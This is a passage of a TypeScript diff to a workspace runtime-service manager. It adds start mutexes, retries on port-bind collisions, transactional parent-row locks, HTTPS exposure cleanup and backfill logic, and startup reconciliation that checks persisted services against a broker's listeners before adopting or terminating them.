+    else runtimeReplacementClaimsByReuseKey.set(reuseKey, next);
+  }
+}
+
+async function withRuntimeStartMutexes<T>(
+  ownerKeys: string[],
+  start: () => Promise<T>,
+): Promise<T> {
+  const acquire = async (index: number): Promise<T> => {
+    const ownerKey = ownerKeys[index];
+    if (!ownerKey) return await start();
+    return await withRuntimeStartMutex(ownerKey, () => acquire(index + 1));
+  };
+  return await acquire(0);
+}
+
+export async function ensureRuntimeServicesForRun(
+  input: EnsureRuntimeServicesForRunInput,
+): Promise<RuntimeServiceRef[]> {
+  const services = selectRuntimeServiceEntries({
+    config: input.config,
+    respectDesiredStates: true,
+    defaultDesiredState: readDesiredRuntimeState(input.config.desiredState) ?? "running",
+    serviceStates: readConfiguredServiceStates(input.config),
+  });
+  const mutexPlan = resolveRuntimeStartMutexPlan({
+    services,
+    workspace: input.workspace,
+    executionWorkspaceId: input.executionWorkspaceId,
+    issue: input.issue,
+    runId: input.runId,
+    agent: input.agent,
+    adapterEnv: input.adapterEnv,
+  });
+  try {
+    return await withRuntimeStartMutexes(
+      mutexPlan.ownerKeys,
+      () => ensureRuntimeServicesForRunInvocation(input),
+    );
+  } finally {
+    releaseRuntimeReplacementClaims(mutexPlan.replacementReuseKeys);
+  }
+}
+
 type StartRuntimeServicesForWorkspaceControlInput = {
   db?: Db;
   invocationId?: string;
@@ -4913,7 +7326,7 @@ type StartRuntimeServicesForWorkspaceControlInput = {
 
 type WorkspaceControlStartBatch = {
   refs: RuntimeServiceRef[];
-  pendingReadiness: LocalRuntimeServiceStart[];
+  pendingReadiness: PendingRuntimeServiceReadiness[];
   startedServiceIds: string[];
 };
 
@@ -4925,16 +7338,19 @@ async function startRuntimeServicesForWorkspaceControlUnlocked(
   registryDb = input.db,
   options?: {
     deferReadiness?: boolean;
+    allowFixedPortFallback?: boolean;
     runtimeProvisionCommand?: string;
+    runtimeProvisionKind?: RuntimeProvisionKind | null;
     provisionCoordinator?: RuntimeProvisionCoordinator;
     preparedProvisioning?: {
       service: Record<string, unknown>;
       record: RuntimeServiceRecord;
     } | null;
+    excludedPorts?: ReadonlySet<number>;
   },
 ): Promise<WorkspaceControlStartBatch> {
   const refs: RuntimeServiceRef[] = [];
-  const pendingReadiness: LocalRuntimeServiceStart[] = [];
+  const pendingReadiness: PendingRuntimeServiceReadiness[] = [];
   const startedServiceIds: string[] = [];
 
   for (const service of rawServices) {
@@ -4957,9 +7373,8 @@ async function startRuntimeServicesForWorkspaceControlUnlocked(
     }).reuseKey;
 
     if (reuseKey) {
-      const existingId = runtimeServicesByReuseKey.get(reuseKey);
-      const existing = existingId ? runtimeServicesById.get(existingId) : null;
-      if (existing && existing.status === "running") {
+      const existing = await findHealthyRunningRuntimeService(reuseKey);
+      if (existing) {
         const prepared = options?.preparedProvisioning;
         if (prepared?.service === service && prepared.record.id !== existing.id && persistenceDb) {
           await persistenceDb
@@ -4992,12 +7407,15 @@ async function startRuntimeServicesForWorkspaceControlUnlocked(
       service,
       onLog: input.onLog,
       runtimeProvisionCommand: options?.runtimeProvisionCommand,
+      runtimeProvisionKind: options?.runtimeProvisionKind,
       recorder: input.recorder,
       provisionCoordinator: options?.provisionCoordinator,
       preparedProvisioningRecord:
         options?.preparedProvisioning?.service === service
           ? options.preparedProvisioning.record
           : undefined,
+      allowFixedPortFallback: options?.allowFixedPortFallback,
+      excludedPorts: options?.excludedPorts,
       reuseKey,
       scopeType,
       scopeId,
@@ -5012,11 +7430,11 @@ async function startRuntimeServicesForWorkspaceControlUnlocked(
     await persistRuntimeServiceRecord(persistenceDb, started.record);
     refs.push(toRuntimeServiceRef(started.record));
 
-    if (options?.deferReadiness && !started.record.reused) {
+    if (options?.deferReadiness && started.record.status === "starting" && !started.record.reused) {
       // Attach a rejection handler immediately; the caller awaits the same promise after
       // the DB transaction commits, but transaction failures may skip that wait path.
       started.readiness.catch(() => undefined);
-      pendingReadiness.push(started);
+      pendingReadiness.push({ ...started, service });
       startedServiceIds.push(started.record.id);
     }
   }
@@ -5024,7 +7442,64 @@ async function startRuntimeServicesForWorkspaceControlUnlocked(
   return { refs, pendingReadiness, startedServiceIds };
 }
 
-export async function startRuntimeServicesForWorkspaceControl(
+async function lockWorkspaceRuntimeStartParents(
+  db: Db,
+  input: StartRuntimeServicesForWorkspaceControlInput,
+) {
+  let allowFixedPortFallback = false;
+  if (input.executionWorkspaceId) {
+    const [lockedExecutionWorkspace] = await db
+      .select({ id: executionWorkspaces.id, mode: executionWorkspaces.mode })
+      .from(executionWorkspaces)
+      .where(
+        and(
+          eq(executionWorkspaces.id, input.executionWorkspaceId),
+          eq(executionWorkspaces.companyId, input.actor.companyId),
+        ),
+      )
+      .for("update");
+    if (!lockedExecutionWorkspace) throw new Error("Execution workspace not found before starting runtime services");
+    allowFixedPortFallback = lockedExecutionWorkspace.mode === "isolated_workspace";
+  }
+
+  if (input.workspace.workspaceId) {
+    const [lockedProjectWorkspace] = await db
+      .select({ id: projectWorkspaces.id })
+      .from(projectWorkspaces)
+      .where(
+        and(
+          eq(projectWorkspaces.id, input.workspace.workspaceId),
+          eq(projectWorkspaces.companyId, input.actor.companyId),
+        ),
+      )
+      .for("update");
+    if (!lockedProjectWorkspace) throw new Error("Project workspace not found before starting runtime services");
+  }
+
+  return allowFixedPortFallback;
+}
+
+function canRetryDeferredPortBindCollision(
+  service: Record<string, unknown>,
+  allowFixedPortFallback: boolean,
+) {
+  const portConfig = parseObject(service.port);
+  const portType = asString(portConfig.type, "");
+  const explicitPort = asNumber(portConfig.value, asNumber(service.port, 0));
+  return portType === "auto" || Boolean(allowFixedPortFallback && explicitPort > 0);
+}
+
+async function discardFailedDeferredRuntimeStart(db: Db, record: RuntimeServiceRecord) {
+  clearIdleTimer(record);
+  if (runtimeServicesById.get(record.id) === record) runtimeServicesById.delete(record.id);
+  if (record.reuseKey && runtimeServicesByReuseKey.get(record.reuseKey) === record.id) {
+    runtimeServicesByReuseKey.delete(record.reuseKey);
+  }
+  await removeLocalServiceRegistryRecord(record.serviceKey).catch(() => undefined);
+  await persistRuntimeServiceRecord(db, record);
+}
+
+async function startRuntimeServicesForWorkspaceControlInvocation(
   input: StartRuntimeServicesForWorkspaceControlInput,
 ): Promise<RuntimeServiceRef[]> {
   const rawServices = selectRuntimeServiceEntries({
@@ -5035,17 +7510,31 @@ export async function startRuntimeServicesForWorkspaceControl(
     serviceStates: readConfiguredServiceStates(input.config),
   });
   const invocationId = input.invocationId ?? randomUUID();
-  const runtimeProvisionCommand = resolveRuntimeProvisionCommand(input);
+  const runtimeProvision = resolveRuntimeProvision(input);
+  const runtimeProvisionCommand = runtimeProvision.command;
   const provisionCoordinator = createRuntimeProvisionCoordinator();
+  const hasHttpsExposure = await anyRuntimeServiceUsesHttpsExposure(rawServices);
 
-  if (rawServices.length === 0 || !input.db || (!input.executionWorkspaceId && !input.workspace.workspaceId)) {
+  if (
+    rawServices.length === 0
+    || !input.db
+    || (!input.executionWorkspaceId && !input.workspace.workspaceId)
+    // The reservation row must commit before the backend binds. Keeping this
+    // path outside the parent-row transaction avoids a crash window where the
+    // broker lease exists but the DB transaction has not committed its handle.
+    || hasHttpsExposure
+  ) {
     const batch = await startRuntimeServicesForWorkspaceControlUnlocked(
       input,
       rawServices,
       invocationId,
       input.db,
       input.db,
-      { runtimeProvisionCommand, provisionCoordinator },
+      {
+        runtimeProvisionCommand,
+        runtimeProvisionKind: runtimeProvision.kind,
+        provisionCoordinator,
+      },
     );
     return batch.refs;
   }
@@ -5059,6 +7548,7 @@ export async function startRuntimeServicesForWorkspaceControl(
     service: Record<string, unknown>;
     record: RuntimeServiceRecord;
   } | null = null;
+  let allowFixedPortFallback = false;
   try {
     if (runtimeProvisionCommand) {
       for (const service of rawServices) {
@@ -5079,9 +7569,8 @@ export async function startRuntimeServicesForWorkspaceControl(
           scopeType,
           scopeId,
         }).reuseKey;
-        const existingId = reuseKey ? runtimeServicesByReuseKey.get(reuseKey) : null;
-        const existing = existingId ? runtimeServicesById.get(existingId) : null;
-        if (existing?.status === "running") continue;
+        const existing = await findHealthyRunningRuntimeService(reuseKey);
+        if (existing) continue;
 
         const record = await prepareRuntimeProvisioning({
           db: input.db,
@@ -5096,6 +7585,7 @@ export async function startRuntimeServicesForWorkspaceControl(
           service,
           onLog: input.onLog,
           runtimeProvisionCommand,
+          runtimeProvisionKind: runtimeProvision.kind,
           recorder: input.recorder,
           provisionCoordinator,
           reuseKey,
@@ -5109,34 +7599,7 @@ export async function startRuntimeServicesForWorkspaceControl(
 
     await input.db.transaction(async (tx) => {
       const txDb = tx as unknown as Db;
-
-      if (input.executionWorkspaceId) {
-        const [lockedExecutionWorkspace] = await tx
-          .select({ id: executionWorkspaces.id })
-          .from(executionWorkspaces)
-          .where(
-            and(
-              eq(executionWorkspaces.id, input.executionWorkspaceId),
-              eq(executionWorkspaces.companyId, input.actor.companyId),
-            ),
-          )
-          .for("update");
-        if (!lockedExecutionWorkspace) throw new Error("Execution workspace not found before starting runtime services");
-      }
-
-      if (input.workspace.workspaceId) {
-        const [lockedProjectWorkspace] = await tx
-          .select({ id: projectWorkspaces.id })
-          .from(projectWorkspaces)
-          .where(
-            and(
-              eq(projectWorkspaces.id, input.workspace.workspaceId),
-              eq(projectWorkspaces.companyId, input.actor.companyId),
-            ),
-          )
-          .for("update");
-        if (!lockedProjectWorkspace) throw new Error("Project workspace not found before starting runtime services");
-      }
+      allowFixedPortFallback = await lockWorkspaceRuntimeStartParents(txDb, input);
 
       // Branch reconciliation takes these same parent row locks before mutating
       // a recorded branch. Persisting a `starting` service row before commit closes
@@ -5149,20 +7612,95 @@ export async function startRuntimeServicesForWorkspaceControl(
         input.db,
         {
           deferReadiness: true,
+          allowFixedPortFallback,
           runtimeProvisionCommand,
+          runtimeProvisionKind: runtimeProvision.kind,
           provisionCoordinator,
           preparedProvisioning,
         },
       );
     });
 
-    for (const pending of startBatch.pendingReadiness) {
-      try {
-        await pending.readiness;
-        await persistRuntimeServiceRecord(input.db, pending.record);
-      } catch (error) {
-        await persistRuntimeServiceRecord(input.db, pending.record).catch(() => undefined);
-        throw error;
+    // Readiness never uses the transaction-scoped DB handle. A late bind collision is
+    // recorded after commit, then only the next bounded reservation re-enters a short
+    // parent-locked transaction. Slow builds therefore cannot retain the parent locks.
+    for (const initialPending of startBatch.pendingReadiness) {
+      let pending: PendingRuntimeServiceReadiness | null = initialPending;
+      const excludedPorts = new Set<number>();
+
+      while (pending) {
+        try {
+          await pending.readiness;
+          await persistRuntimeServiceRecord(input.db, pending.record);
+          break;
+        } catch (error) {
+          await discardFailedDeferredRuntimeStart(input.db, pending.record);
+          if (
+            !(error instanceof RuntimeServicePortBindCollision)
+            || !canRetryDeferredPortBindCollision(pending.service, allowFixedPortFallback)
+          ) {
+            throw error;
+          }
+
+          excludedPorts.add(error.port);
+          if (excludedPorts.size >= WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS) {
+            const portConfig = parseObject(pending.service.port);
+            const portType = asString(portConfig.type, "");
+            const preferredPort = asNumber(portConfig.value, asNumber(pending.service.port, 0));
+            if (allowFixedPortFallback && portType !== "auto" && preferredPort > 0 && input.executionWorkspaceId) {
+              throw await buildRuntimePortAllocationConflict({
+                db: input.db,
+                companyId: input.actor.companyId,
+                executionWorkspaceId: input.executionWorkspaceId,
+                preferredPort,
+                attemptedPorts: [...excludedPorts],
+              });
+            }
+            throw conflict("No safe automatically allocated runtime service port is available.", {
+              code: "workspace_runtime_port_allocation_exhausted",
+              attemptedPortCount: excludedPorts.size,
+              remediation: "Retry the start or configure a different runtime service port.",
+            });
+          }
+
+          const failedRecordId = pending.record.id;
+          let retryBatch: WorkspaceControlStartBatch = {
+            refs: [],
+            pendingReadiness: [],
+            startedServiceIds: [],
+          };
+          let retryAllowsFixedPortFallback = false;
+          await input.db.transaction(async (tx) => {
+            const txDb = tx as unknown as Db;
+            retryAllowsFixedPortFallback = await lockWorkspaceRuntimeStartParents(txDb, input);
+            if (!canRetryDeferredPortBindCollision(pending!.service, retryAllowsFixedPortFallback)) {
+              throw error;
+            }
+            retryBatch = await startRuntimeServicesForWorkspaceControlUnlocked(
+              { ...input, db: txDb },
+              [pending!.service],
+              invocationId,
+              txDb,
+              input.db,
+              {
+                deferReadiness: true,
+                allowFixedPortFallback: retryAllowsFixedPortFallback,
+                provisionCoordinator,
+                excludedPorts,
+              },
+            );
+          });
+          allowFixedPortFallback = retryAllowsFixedPortFallback;
+          for (const serviceId of retryBatch.startedServiceIds) {
+            if (!startBatch.startedServiceIds.includes(serviceId)) {
+              startBatch.startedServiceIds.push(serviceId);
+            }
+          }
+          const replacementRef = retryBatch.refs[0];
+          const failedRefIndex = startBatch.refs.findIndex((ref) => ref.id === failedRecordId);
+          if (replacementRef && failedRefIndex >= 0) startBatch.refs[failedRefIndex] = replacementRef;
+          pending = retryBatch.pendingReadiness[0] ?? null;
+        }
       }
     }
 
@@ -5186,6 +7724,36 @@ export async function startRuntimeServicesForWorkspaceControl(
   }
 }
 
+export async function startRuntimeServicesForWorkspaceControl(
+  input: StartRuntimeServicesForWorkspaceControlInput,
+): Promise<RuntimeServiceRef[]> {
+  const services = selectRuntimeServiceEntries({
+    config: input.config,
+    serviceIndex: input.serviceIndex,
+    respectDesiredStates: input.respectDesiredStates,
+    defaultDesiredState: readDesiredRuntimeState(input.config.desiredState) ?? "stopped",
+    serviceStates: readConfiguredServiceStates(input.config),
+  });
+  const invocationId = input.invocationId ?? "workspace_control";
+  const mutexPlan = resolveRuntimeStartMutexPlan({
+    services,
+    workspace: input.workspace,
+    executionWorkspaceId: input.executionWorkspaceId,
+    issue: input.issue,
+    runId: invocationId,
+    agent: input.actor,
+    adapterEnv: input.adapterEnv,
+  });
+  try {
+    return await withRuntimeStartMutexes(
+      mutexPlan.ownerKeys,
+      () => startRuntimeServicesForWorkspaceControlInvocation(input),
+    );
+  } finally {
+    releaseRuntimeReplacementClaims(mutexPlan.replacementReuseKeys);
+  }
+}
+
 export async function releaseRuntimeServicesForRun(runId: string) {
   const acquired = runtimeServiceLeasesByRun.get(runId) ?? [];
   runtimeServiceLeasesByRun.delete(runId);
@@ -5197,7 +7765,14 @@ export async function releaseRuntimeServicesForRun(runId: string) {
     const stopType = asString(record.stopPolicy?.type, record.lifecycle === "ephemeral" ? "on_run_finish" : "manual");
     await persistRuntimeServiceRecord(record.db, record);
     if (record.leaseRunIds.size === 0) {
-      if (record.lifecycle === "ephemeral" || stopType === "on_run_finish") {
+      const detachedUnhealthySharedRuntime = record.healthStatus === "unhealthy"
+        && Boolean(record.reuseKey)
+        && runtimeServicesByReuseKey.get(record.reuseKey!) !== record.id;
+      if (
+        record.lifecycle === "ephemeral"
+        || stopType === "on_run_finish"
+        || detachedUnhealthySharedRuntime
+      ) {
         await stopRuntimeService(serviceId);
         continue;
       }
@@ -5233,6 +7808,15 @@ export async function stopRuntimeServicesForExecutionWorkspace(input: {
   if (input.db) {
     if (input.runtimeServiceId) {
       const now = new Date();
+      const rows = await input.db
+        .select({
+          id: workspaceRuntimeServices.id,
+          exposure: workspaceRuntimeServices.exposure,
+          exposureHandle: workspaceRuntimeServices.exposureHandle,
+        })
+        .from(workspaceRuntimeServices)
+        .where(eq(workspaceRuntimeServices.id, input.runtimeServiceId));
+      await cleanupPersistedExposureRows(input.db, rows);
       await input.db
         .update(workspaceRuntimeServices)
         .set({
@@ -5270,6 +7854,22 @@ export async function stopRuntimeServicesForProjectWorkspace(input: {
 
   if (input.db) {
     const now = new Date();
+    const exposureCondition = input.runtimeServiceId
+      ? eq(workspaceRuntimeServices.id, input.runtimeServiceId)
+      : and(
+          eq(workspaceRuntimeServices.projectWorkspaceId, input.projectWorkspaceId),
+          eq(workspaceRuntimeServices.scopeType, "project_workspace"),
+          inArray(workspaceRuntimeServices.status, ["provisioning", "starting", "running"]),
+        );
+    const exposureRows = await input.db
+      .select({
+        id: workspaceRuntimeServices.id,
+        exposure: workspaceRuntimeServices.exposure,
+        exposureHandle: workspaceRuntimeServices.exposureHandle,
+      })
+      .from(workspaceRuntimeServices)
+      .where(exposureCondition);
+    await cleanupPersistedExposureRows(input.db, exposureRows);
     await input.db
       .update(workspaceRuntimeServices)
       .set({
@@ -5280,13 +7880,7 @@ export async function stopRuntimeServicesForProjectWorkspace(input: {
         updatedAt: now,
       })
       .where(
-        input.runtimeServiceId
-          ? eq(workspaceRuntimeServices.id, input.runtimeServiceId)
-          : and(
-              eq(workspaceRuntimeServices.projectWorkspaceId, input.projectWorkspaceId),
-              eq(workspaceRuntimeServices.scopeType, "project_workspace"),
-              inArray(workspaceRuntimeServices.status, ["provisioning", "starting", "running"]),
-            ),
+        exposureCondition,
       );
   }
 }
@@ -5319,6 +7913,154 @@ export async function listWorkspaceRuntimeServicesForProjectWorkspaces(
   return grouped;
 }
 
+/**
+ * Statuses that mean "there is, or is supposed to be, a live backend process".
+ * A row in one of these states is what the backfill has to reprovision; a
+ * `stopped` row simply picks the default up on its next start.
+ */
+const LIVE_RUNTIME_SERVICE_STATUSES = new Set(["provisioning", "starting", "running"]);
+
+export type ManagedRuntimeExposureBackfillDecision = {
+  action: "keep" | "reprovision";
+  reason: string;
+};
+
+/**
+ * Decide what the HTTPS backfill should do with one persisted runtime-service
+ * row (PAP-17158).
+ *
+ * Pure so every branch is directly testable: the reasons below are the whole
+ * contract for which pre-feature workspaces get upgraded and which are left
+ * exactly as they are.
+ *
+ * `declaredIntent === null` means no configured service entry could be matched
+ * to this row. Such a row is deliberately left alone: reprovisioning works by
+ * stopping the HTTP backend and letting the desired-state restart bring it back
+ * with exposure, so without a config to restart from we would take a service
+ * down and never bring it back.
+ */
+export function decideManagedRuntimeExposureBackfill(input: {
+  mode: ManagedRuntimeHttpsMode;
+  brokerAvailable: boolean;
+  provider: string;
+  serviceName: string;
+  command: string | null;
+  status: string;
+  hasExposure: boolean;
+  declaredIntent: RuntimeExposureIntent | null;
+}): ManagedRuntimeExposureBackfillDecision {
+  if (input.mode === "off") return { action: "keep", reason: "https_default_disabled" };
+  if (input.provider !== "local_process") return { action: "keep", reason: "not_a_managed_local_process" };
+  // Idempotence: a row that already carries exposure state is never re-driven,
+  // so repeated deploys and restarts converge instead of churning listeners.
+  if (input.hasExposure) return { action: "keep", reason: "already_exposed" };
+  if (input.declaredIntent === "disabled") return { action: "keep", reason: "deliberate_opt_out" };
+  if (input.declaredIntent === null) return { action: "keep", reason: "no_configured_service_entry" };
+  if (!isManagedHttpsDefaultCandidate({ serviceName: input.serviceName, command: input.command })) {
+    return { action: "keep", reason: "unmanaged_or_custom_service" };
+  }
+  if (input.mode !== "force" && !input.brokerAvailable) {
+    return { action: "keep", reason: "broker_unavailable" };
+  }
+  if (!LIVE_RUNTIME_SERVICE_STATUSES.has(input.status)) {
+    return { action: "keep", reason: "stopped_defaults_on_next_start" };
+  }
+  return { action: "reprovision", reason: "http_only_managed_service" };
+}
+
+/**
+ * Look up the exposure intent a persisted runtime-service row inherits from its
+ * owning workspace configuration, by matching the row's service name against the
+ * configured entries. Returns null when no entry matches.
+ */
+async function buildPersistedRuntimeExposureIntentLookup(db: Db) {
+  const [projectWorkspaceRows, executionWorkspaceRows] = await Promise.all([
+    db.select().from(projectWorkspaces),
+    db.select().from(executionWorkspaces),
+  ]);
+  const projectRuntimeById = new Map(projectWorkspaceRows.map((row) => [
+    row.id,
+    readProjectWorkspaceRuntimeConfig((row.metadata as Record<string, unknown> | null) ?? null)?.workspaceRuntime ?? null,
+  ] as const));
+  const executionRuntimeById = new Map(executionWorkspaceRows.map((row) => [
+    row.id,
+    readExecutionWorkspaceConfig((row.metadata as Record<string, unknown> | null) ?? null)?.workspaceRuntime
+      ?? (row.projectWorkspaceId ? projectRuntimeById.get(row.projectWorkspaceId) ?? null : null),
+  ] as const));
+
+  return (row: {
+    serviceName: string;
+    projectWorkspaceId: string | null;
+    executionWorkspaceId: string | null;
+  }): RuntimeExposureIntent | null => {
+    const runtime = (row.executionWorkspaceId ? executionRuntimeById.get(row.executionWorkspaceId) : null)
+      ?? (row.projectWorkspaceId ? projectRuntimeById.get(row.projectWorkspaceId) ?? null : null);
+    if (!runtime) return null;
+    const entries = listConfiguredRuntimeServiceEntries({ workspaceRuntime: runtime });
+    const entry = entries.find((candidate) => asString(candidate.name, "service") === row.serviceName);
+    if (!entry) return null;
+    return readRuntimeExposureIntent(parseObject(entry.expose));
+  };
+}
+
+export async function refreshPersistedRuntimeServiceHealth(input: {
+  db: Db;
+  companyId: string;
+  executionWorkspaceId: string;
+  projectWorkspaceId?: string | null;
+}) {
+  const ownershipCondition = input.projectWorkspaceId
+    ? or(
+        eq(workspaceRuntimeServices.executionWorkspaceId, input.executionWorkspaceId),
+        and(
+          eq(workspaceRuntimeServices.projectWorkspaceId, input.projectWorkspaceId),
+          eq(workspaceRuntimeServices.scopeType, "project_workspace"),
+        ),
+      )
+    : eq(workspaceRuntimeServices.executionWorkspaceId, input.executionWorkspaceId);
+  const rows = await input.db
+    .select({
+      id: workspaceRuntimeServices.id,
+      serviceName: workspaceRuntimeServices.serviceName,
+      command: workspaceRuntimeServices.command,
+      provider: workspaceRuntimeServices.provider,
+      port: workspaceRuntimeServices.port,
+      url: workspaceRuntimeServices.url,
+      healthStatus: workspaceRuntimeServices.healthStatus,
+      cwd: workspaceRuntimeServices.cwd,
+      executionWorkspaceId: workspaceRuntimeServices.executionWorkspaceId,
+      companyId: workspaceRuntimeServices.companyId,
+    })
+    .from(workspaceRuntimeServices)
+    .where(and(
+      eq(workspaceRuntimeServices.companyId, input.companyId),
+      eq(workspaceRuntimeServices.provider, "local_process"),
+      eq(workspaceRuntimeServices.status, "running"),
+      ownershipCondition,
+    ));
+  const results = await Promise.all(rows.map(async (row) => ({
+    row,
+    healthStatus: await isRuntimeServiceUrlHealthy(row.url, { ...row, db: input.db })
+      ? "healthy" as const
+      : "unhealthy" as const,
+  })));
+  await Promise.all(results.map(async ({ row, healthStatus }) => {
+    const liveRecord = runtimeServicesById.get(row.id);
+    if (liveRecord) liveRecord.healthStatus = healthStatus;
+    if (row.healthStatus === healthStatus) return;
+    await input.db.update(workspaceRuntimeServices).set({ healthStatus, updatedAt: new Date() }).where(and(
+      eq(workspaceRuntimeServices.id, row.id),
+      eq(workspaceRuntimeServices.companyId, input.companyId),
+      eq(workspaceRuntimeServices.status, "running"),
+    ));
+  }));
+  return {
+    checked: results.length,
+    healthy: results.filter((result) => result.healthStatus === "healthy").length,
+    unhealthy: results.filter((result) => result.healthStatus === "unhealthy").length,
+  };
+}
+
 export async function reconcilePersistedRuntimeServicesOnStartup(db: Db) {
   const rows = await db
     .select()
@@ -5330,12 +8072,129 @@ export async function reconcilePersistedRuntimeServicesOnStartup(db: Db) {
       ),
     );
 
-  if (rows.length === 0) return { reconciled: 0, adopted: 0, stopped: 0 };
+  // Backfill inputs, resolved once per startup rather than per row.
+  const httpsMode = resolveManagedRuntimeHttpsMode();
+  const brokerAvailable = httpsMode === "off"
+    ? false
+    : await workspaceRuntimeExposureDeps.isBrokerAvailable().catch(() => false);
+  const readDeclaredExposureIntent = await buildPersistedRuntimeExposureIntentLookup(db);
+
+  let ownedExposureListeners: Awaited<ReturnType<BrokerClient["list"]>> | null = [];
+  // Also fetch when a row merely *reserves* a dedicated-range port. The row that
+  // matters most to PAP-17419 is exactly the one with `exposure.state ===
+  // "removed"`: it claims nothing, yet its leased pair can still be mapped by
+  // someone else. Skipping the broker read for those rows is what let a false
+  // `removed` go unnoticed.
+  if (rows.some((row) => (
+    (row.exposure && row.exposure.state !== "removed")
+    || (row.port !== null && isRuntimeExposureAppPort(row.port))
+  ))) {
+    try {
+      ownedExposureListeners = await workspaceRuntimeExposureDeps.broker.list();
+    } catch {
+      ownedExposureListeners = null;
+    }
+  }
+
+  const exposureReservationDrift = await detectPersistedExposureReservationDrift({
+    rows,
+    ownedListeners: ownedExposureListeners,
+  });
+  const companyIdByRowId = new Map(rows.map((row) => [row.id, row.companyId] as const));
+  for (const entry of exposureReservationDrift) {
+    const description = describeExposureReservationDrift(entry);
+    console.warn(`[workspace-runtime] exposure reservation drift: ${description}`);
+    const companyId = companyIdByRowId.get(entry.runtimeServiceId);
+    if (!companyId) continue;
+    await logActivity(db, {
+      companyId,
+      actorType: "system",
+      actorId: "workspace_runtime",
+      action: "workspace_runtime.exposure_reservation_drift",
+      entityType: entry.owner.executionWorkspaceId ? "execution_workspace" : "workspace_runtime_service",
+      entityId: entry.owner.executionWorkspaceId ?? entry.runtimeServiceId,
+      issueId: entry.owner.issueId,
+      details: {
+        description,
+        runtimeServiceId: entry.runtimeServiceId,
+        port: entry.port,
+        reason: entry.reason,
+        executionWorkspaceId: entry.owner.executionWorkspaceId,
+        conflictingExecutionWorkspaceId: entry.conflictingOwner?.executionWorkspaceId ?? null,
+        conflictingRuntimeServiceId: entry.conflictingOwner?.runtimeServiceId ?? null,
+      },
+    }).catch(() => undefined);
+  }
 
   let reconciled = 0;
   let adopted = 0;
   let stopped = 0;
+  let backfilled = 0;
+  const driftedRuntimeServiceIds = new Set(exposureReservationDrift.map((entry) => entry.runtimeServiceId));
   for (const row of rows) {
+    // PAP-17419: this row's reserved pair is live, or Serve-mapped, under an
+    // identity that is not this row's. Every branch below is unsafe for such a
+    // row — cleanup would remove a mapping that is now someone else's, adoption
+    // would take over another execution workspace's service and re-attribute it
+    // here, and the health branch would terminate it outright. None of that is
+    // this sweep's call to make, so leave the row and the occupying service
+    // exactly as they are. The drift is already reported above, and the ledger
+    // keeps the pair reserved so no start can be handed it either.
+    if (driftedRuntimeServiceIds.has(row.id)) {
+      reconciled += 1;
+      continue;
+    }
+    if (row.status === "stopped" && row.exposure && row.exposure.state !== "removed") {
+      // This branch is a GLOBAL sweep: `rows` spans every execution workspace and
+      // company on the host, at any age, and it runs on every server start. It
+      // used to issue a broker removal for each stale row on the row's authority
+      // alone — which is how a restart at 12:25:49 UTC deleted the preserved
+      // `42000/52000` mappings from two rows that were 2 and 3 days old
+      // (PAP-17285). Corroborate against the broker's live ownership view, which
+      // this function has already fetched, instead of trusting the row.
+      await cleanupPersistedExposureRows(
+        db,
+        [{ id: row.id, exposure: row.exposure, exposureHandle: row.exposureHandle }],
+        { ownedListeners: ownedExposureListeners },
+      );
+      reconciled += 1;
+      continue;
+    }
+    const rowExposureListeners = ownedExposureListeners?.filter((listener) => listener.runtimeId === row.id) ?? [];
+    const exposureMappingMatches = !row.exposure || (
+      row.exposure.state === "ready"
+      && Boolean(row.exposureHandle)
+      && rowExposureListeners.length === row.exposure.listeners.length
+      && row.exposure.listeners.every((expected) => rowExposureListeners.some((actual) => (
+        actual.port === expected.targetPort && actual.purpose === expected.purpose
+      )))
+    );
+    const exposureHealthMatches = !row.exposure || (
+      exposureMappingMatches
+      && Boolean(row.exposure.publicUrl)
+      && await workspaceRuntimeExposureDeps.probeHealth(
+        new URL("/api/health", row.exposure.publicUrl!).toString(),
+      )
+    );
+    // Pre-feature rows carry no exposure state at all. An eligible one that is
+    // still serving plain HTTP must not be adopted as-is, or the deploy would
+    // leave `http://paperclip-dev:<port>` as the canonical URL forever. Stopping
+    // it here hands it to the desired-state restart below, which brings it back
+    // through the normal fail-closed exposure lifecycle.
+    const backfillDecision = decideManagedRuntimeExposureBackfill({
+      mode: httpsMode,
+      brokerAvailable,
+      provider: row.provider,
+      serviceName: row.serviceName,
+      command: row.command,
+      status: row.status,
+      hasExposure: Boolean(row.exposure && row.exposure.state !== "removed"),
+      declaredIntent: readDeclaredExposureIntent({
+        serviceName: row.serviceName,
+        projectWorkspaceId: row.projectWorkspaceId ?? null,
+        executionWorkspaceId: row.executionWorkspaceId ?? null,
+      }),
+    });
     let adoptedRecord = await findLocalServiceRegistryRecordByRuntimeServiceId({
       runtimeServiceId: row.id,
       profileKind: "workspace-runtime",
@@ -5375,12 +8234,37 @@ export async function reconcilePersistedRuntimeServicesOnStartup(db: Db) {
         cwd: row.cwd,
         envFingerprint: row.reuseKey ?? "",
         port: row.port ?? null,
-        url: row.url ?? null,
+        url: row.backendUrl ?? row.url ?? null,
       });
     }
     if (adoptedRecord) {
-      const adoptedUrl = adoptedRecord.url ?? row.url ?? null;
-      if (!(await isRuntimeServiceUrlHealthy(adoptedUrl, { serviceName: row.serviceName, command: row.command }))) {
+      const adoptedUrl = adoptedRecord.url ?? row.backendUrl ?? row.url ?? null;
+      const adoptedHealthInput = {
+        db,
+        serviceName: row.serviceName,
+        command: row.command,
+        provider: "local_process",
+        port: adoptedRecord.port ?? row.port,
+        cwd: row.cwd,
+        executionWorkspaceId: row.executionWorkspaceId ?? null,
+        companyId: row.companyId,
+      };
+      // A surviving service can be slow to answer one probe when the host is
+      // busy at startup. One timeout is not enough evidence to terminate it.
+      // Confirm an unhealthy verdict with a second probe after a short bounded
+      // delay, the same way the reuse path protects a shared runtime.
+      let adoptedHealthy = await isRuntimeServiceUrlHealthy(adoptedUrl, adoptedHealthInput);
+      if (!adoptedHealthy) {
+        await delay(250);
+        adoptedHealthy = await isRuntimeServiceUrlHealthy(adoptedUrl, adoptedHealthInput);
+      }
+      if (
+        backfillDecision.action === "reprovision"
+        || !exposureHealthMatches
+        || !adoptedHealthy
+      ) {
+        if (backfillDecision.action === "reprovision") backfilled += 1;
+        await terminateLocalService(adoptedRecord);
         await removeLocalServiceRegistryRecord(adoptedRecord.serviceKey);
       } else {
         const record: RuntimeServiceRecord = {
@@ -5399,7 +8283,7 @@ export async function reconcilePersistedRuntimeServicesOnStartup(db: Db) {
           command: row.command ?? null,
           cwd: row.cwd ?? null,
           port: adoptedRecord.port ?? row.port ?? null,
-          url: adoptedRecord.url ?? row.url ?? null,
